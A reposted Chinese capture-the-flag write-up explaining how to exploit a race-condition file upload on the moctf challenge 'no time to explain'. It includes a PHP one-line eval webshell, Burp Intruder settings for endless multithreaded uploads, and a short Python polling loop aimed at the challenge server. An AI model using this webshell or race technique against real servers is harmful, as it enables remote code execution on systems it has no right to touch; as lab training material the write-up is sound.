moctf 没时间解释了 条件竞争漏洞

Posted zaqzzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了moctf 没时间解释了 条件竞争漏洞相关的知识,希望对你有一定的参考价值。

moctf 没时间解释了 条件竞争漏洞

题目链接

条件竞争:

在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow。  
比如你上传了一句话木马shell.php,内容<?php @eval($_POST['pass']);?>,可以直接上传,但是马上内容会被修改为too slow  

方法:

修改内容会有时间,我们不断的上传这个文件并且不断的访问,会有一次我们正好访问到真正的shell.php  

因为服务器修改内容是很快的,所以我们得用脚本开启多线程上传,不过也可以直接用burp intruder模块,线程调到20,然后python用requests模块
循环访问就可以了。


现在来看题目:

打开这个网页和好像什么也干不了,不过细心的话会发现,index2.php,默认的话应该访问index.php。

访问index.php,发现还是打开的index2.php,访问index没有提示404没错了是302。burp抓包拦截一下,repeater发包.

技术分享图片

 访问  

技术分享图片

发现可以直接上传   

技术分享图片

 访问  

提示Too slow!

猜测:

上传服务器后,服务器先保存然后判断文件,修改内容,就相当于把shell删除了。    

思路:

我们一边是不停的发送这个文件,一边不停地访问。

发送:

最简单的方法是burp的intruder模块。  
先进行拦截  

技术分享图片

Send to Intruder  
Intruder->Positions->Clear$  
Payloads->payload sets->payload type->Null payloads   
Payloads->Payload options[Null payloads]->Continue indefinitely(持续发送)
Options->Number of threads(默认是5)调为20   

上边做的是对intruder模块的设置,开启20个线程不断的发送上传文件的操作。

import requests
url="http://119.23.73.3:5006/web2/uploads/863213e3f631b8a5eb1e2ce6c0d7ea9d89b423c4/2.php"
while 1:
print(requests.get(url).text)

上边这个是不停的进行访问,其实这里不必开启多线程访问,因为上传文件和访问满足一个多线程就行了。
技术分享图片

以上是关于moctf 没时间解释了 条件竞争漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Linux内核竞争条件漏洞-导致远程代码执行

条件竞争漏洞

漏洞预警MySQL/MariaDB/PerconaDB-提权/条件竞争漏洞(附POC)

条件竞争漏洞测试

竞争条件攻击

漏洞复现 -- 条件竞争 -- TOCTOU